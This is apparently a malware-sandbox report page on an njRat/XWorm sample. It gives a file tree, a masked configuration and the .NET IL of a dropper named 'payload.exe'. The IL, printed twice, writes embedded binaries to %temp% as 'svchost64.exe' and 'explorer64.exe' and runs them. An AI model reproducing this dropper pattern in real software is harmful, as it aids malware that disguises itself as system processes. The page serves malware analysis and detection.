Malicious
Malicious
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Encoded VBScript file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ 6.0 DLL (Debug)Microsoft Visual C++ 7.0 - 8.0Microsoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
Symbol obfuscation
Very low
9 malicious · 130 files
EXE57f12202d24edea1d98cc4ffcbd6b9c6njRat
Structure
VBS57f12202d24edea1d98cc4ffcbd6b9c6.decoded.vbs
BIN.Net Resources
VBSpayload.Resources.resourcesXWorm
EXE_1njRat
Structure
BIN.Net Resources
VBSpayload.Resources.resourcesXWorm
EXE_1
Structure
VBSOverlay_470db1ab.bin
BATbvElR9l3e6M3DQU5UdF6aCm2nAId.bat
EXEmsblockinto.exe
Structure
VBS9uzsvDMU6rzTiSa2KoESj40IXyhi3x.vbe
EXE_2XWorm
Structure
Config. Field Value
Mutex Rx6I6huhuhuhuhuhuhu
Hosts tcp.chuhuhuhuhuhuhu
Port 5huhuhuhu
KEY <wahuhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Phuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Info
PDB Path: C:\Users\Professor\Desktop\BitJoiner\payload\obj\Debug\payload.pdb
Module Name
payload.exe
Full Name
payload.exe
EntryPoint
System.Void payload.Main::Main()
Scope Name
payload.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
payload
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
6
Main Method
System.Void payload.Main::Main()
Main IL Instruction Count
189
Main IL 
nop <null>
ldc.i4.0 <null>
stloc.s V_5
nop <null>
ldloc.s V_5
brtrue.s IL_000E: ldloc.1
br IL_010C: nop
ldloc.1 <null>
ldc.i4.s 50
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.0 <null>
ldloc.0 <null>
ldc.i4.0 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
ldc.i4.s 50
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::DivideObject(System.Object,System.Object)
stloc.s V_4
ldloc.1 <null>
ldloc.1 <null>
ldc.i4.5 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
ldc.i4 150
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
ldc.i4.s 9
box System.Int32
ldloc.s V_4
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::XorObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
stloc.1 <null>
ldloc.0 <null>
ldc.i4.s 10
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::DivideObject(System.Object,System.Object)
ldloc.3 <null>
ldc.i4.s 50
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
ldc.i4.4 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::IntDivideObject(System.Object,System.Object)
stloc.2 <null>
ldloc.2 <null>
ldc.i4.1 <null>
box System.Int32
ldloc.0 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
ldc.i4.s 15
box System.Int32
ldloc.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::SubtractObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.2 <null>
ldloc.s V_6
ldc.i4.0 <null>
box System.Int32
ldloc.1 <null>
ldc.i4.1 <null>
box System.Int32
ldloca.s V_13
ldloca.s V_6
call System.Boolean Microsoft.VisualBasic.CompilerServices.ObjectFlowControl/ForLoopControl::ForLoopInitObj(System.Object,System.Object,System.Object,System.Object,System.Object&,System.Object&)
brfalse.s IL_010C: nop
ldloc.2 <null>
ldloc.0 <null>
ldloc.2 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ModObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.2 <null>
br.s IL_00F6: ldloc.2
ldloc.2 <null>
ldc.i4.5 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.2 <null>
nop <null>
br.s IL_00FE: nop
nop <null>
ldloc.2 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brtrue.s IL_00E5: ldloc.2
nop <null>
ldloc.s V_6
ldloc.s V_13
ldloca.s V_6
call System.Boolean Microsoft.VisualBasic.CompilerServices.ObjectFlowControl/ForLoopControl::ForNextCheckObj(System.Object,System.Object,System.Object&)
brtrue.s IL_00D5: ldloc.2
nop <null>
ldloc.s V_5
brtrue.s IL_0119: nop
ldc.i4.1 <null>
stloc.s V_5
br IL_0004: nop
nop <null>
br IL_01BF: ldloc.s V_5
ldstr %temp%\
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stloc.s V_7
nop <null>
ldloc.s V_7
ldstr svchost64.exe
call System.String System.String::Concat(System.String,System.String)
stloc.s V_8
ldloc.s V_7
ldstr \explorer64.exe
call System.String System.String::Concat(System.String,System.String)
stloc.s V_9
ldloc.s V_8
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0159: ldloc.s V_8
ldloc.s V_8
call System.Void System.IO.File::Delete(System.String)
nop <null>
ldloc.s V_8
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_016F: nop
ldloc.s V_8
call System.Byte[] payload.My.Resources.Resources::get__1()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
nop <null>
ldloc.s V_9
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0181: ldloc.s V_9
ldloc.s V_9
call System.Void System.IO.File::Delete(System.String)
nop <null>
ldloc.s V_9
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_0197: nop
ldloc.s V_9
call System.Byte[] payload.My.Resources.Resources::get__2()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
nop <null>
ldloc.s V_8
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
leave.s IL_01BA: nop
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_01BA: nop
nop <null>
ldc.i4.0 <null>
stloc.s V_5
nop <null>
ldloc.s V_5
box System.Boolean
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brfalse.s IL_0208: ldc.i4.0
ldloc.2 <null>
ldc.i4.0 <null>
box System.Int32
ldc.i4.0 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::CompareObjectEqual(System.Object,System.Object,System.Boolean)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::NotObject(System.Object)
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brfalse.s IL_0208: ldc.i4.0
ldloc.0 <null>
ldc.i4.s 50
box System.Int32
ldc.i4.0 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Operators::ConditionalCompareObjectEqual(System.Object,System.Object,System.Boolean)
box System.Boolean
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brfalse.s IL_0208: ldc.i4.0
ldc.i4.1 <null>
box System.Boolean
br.s IL_020E: nop
ldc.i4.0 <null>
box System.Boolean
nop <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brtrue IL_011F: ldstr "%temp%\\"
nop <null>
ret <null>
Module Name
payload.exe
Full Name
payload.exe
EntryPoint
System.Void payload.Main::Main()
Scope Name
payload.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
payload
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
6
Main Method
System.Void payload.Main::Main()
Main IL Instruction Count
189
Main IL 
nop <null>
ldc.i4.0 <null>
stloc.s V_5
nop <null>
ldloc.s V_5
brtrue.s IL_000E: ldloc.1
br IL_010C: nop
ldloc.1 <null>
ldc.i4.s 50
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.0 <null>
ldloc.0 <null>
ldc.i4.0 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
ldc.i4.s 50
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::DivideObject(System.Object,System.Object)
stloc.s V_4
ldloc.1 <null>
ldloc.1 <null>
ldc.i4.5 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
ldc.i4 150
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
ldc.i4.s 9
box System.Int32
ldloc.s V_4
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::XorObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
stloc.1 <null>
ldloc.0 <null>
ldc.i4.s 10
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::DivideObject(System.Object,System.Object)
ldloc.3 <null>
ldc.i4.s 50
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
ldc.i4.4 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::IntDivideObject(System.Object,System.Object)
stloc.2 <null>
ldloc.2 <null>
ldc.i4.1 <null>
box System.Int32
ldloc.0 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
ldc.i4.s 15
box System.Int32
ldloc.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::MultiplyObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::SubtractObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.2 <null>
ldloc.s V_6
ldc.i4.0 <null>
box System.Int32
ldloc.1 <null>
ldc.i4.1 <null>
box System.Int32
ldloca.s V_13
ldloca.s V_6
call System.Boolean Microsoft.VisualBasic.CompilerServices.ObjectFlowControl/ForLoopControl::ForLoopInitObj(System.Object,System.Object,System.Object,System.Object,System.Object&,System.Object&)
brfalse.s IL_010C: nop
ldloc.2 <null>
ldloc.0 <null>
ldloc.2 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ModObject(System.Object,System.Object)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.2 <null>
br.s IL_00F6: ldloc.2
ldloc.2 <null>
ldc.i4.5 <null>
box System.Int32
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::AddObject(System.Object,System.Object)
stloc.2 <null>
nop <null>
br.s IL_00FE: nop
nop <null>
ldloc.2 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brtrue.s IL_00E5: ldloc.2
nop <null>
ldloc.s V_6
ldloc.s V_13
ldloca.s V_6
call System.Boolean Microsoft.VisualBasic.CompilerServices.ObjectFlowControl/ForLoopControl::ForNextCheckObj(System.Object,System.Object,System.Object&)
brtrue.s IL_00D5: ldloc.2
nop <null>
ldloc.s V_5
brtrue.s IL_0119: nop
ldc.i4.1 <null>
stloc.s V_5
br IL_0004: nop
nop <null>
br IL_01BF: ldloc.s V_5
ldstr %temp%\
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stloc.s V_7
nop <null>
ldloc.s V_7
ldstr svchost64.exe
call System.String System.String::Concat(System.String,System.String)
stloc.s V_8
ldloc.s V_7
ldstr \explorer64.exe
call System.String System.String::Concat(System.String,System.String)
stloc.s V_9
ldloc.s V_8
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0159: ldloc.s V_8
ldloc.s V_8
call System.Void System.IO.File::Delete(System.String)
nop <null>
ldloc.s V_8
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_016F: nop
ldloc.s V_8
call System.Byte[] payload.My.Resources.Resources::get__1()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
nop <null>
ldloc.s V_9
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0181: ldloc.s V_9
ldloc.s V_9
call System.Void System.IO.File::Delete(System.String)
nop <null>
ldloc.s V_9
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_0197: nop
ldloc.s V_9
call System.Byte[] payload.My.Resources.Resources::get__2()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
nop <null>
ldloc.s V_8
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
leave.s IL_01BA: nop
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_01BA: nop
nop <null>
ldc.i4.0 <null>
stloc.s V_5
nop <null>
ldloc.s V_5
box System.Boolean
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brfalse.s IL_0208: ldc.i4.0
ldloc.2 <null>
ldc.i4.0 <null>
box System.Int32
ldc.i4.0 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::CompareObjectEqual(System.Object,System.Object,System.Boolean)
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::NotObject(System.Object)
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brfalse.s IL_0208: ldc.i4.0
ldloc.0 <null>
ldc.i4.s 50
box System.Int32
ldc.i4.0 <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Operators::ConditionalCompareObjectEqual(System.Object,System.Object,System.Boolean)
box System.Boolean
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brfalse.s IL_0208: ldc.i4.0
ldc.i4.1 <null>
box System.Boolean
br.s IL_020E: nop
ldc.i4.0 <null>
box System.Boolean
nop <null>
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object)
brtrue IL_011F: ldstr "%temp%\\"
nop <null>
ret <null>
Mutex MUTEXmalicious
Rx6I6huhuhuhuhuhuhu
CnC CNCmalicious
tcp.chuhuhuhuhuhuhu
Port PORTmalicious
5huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙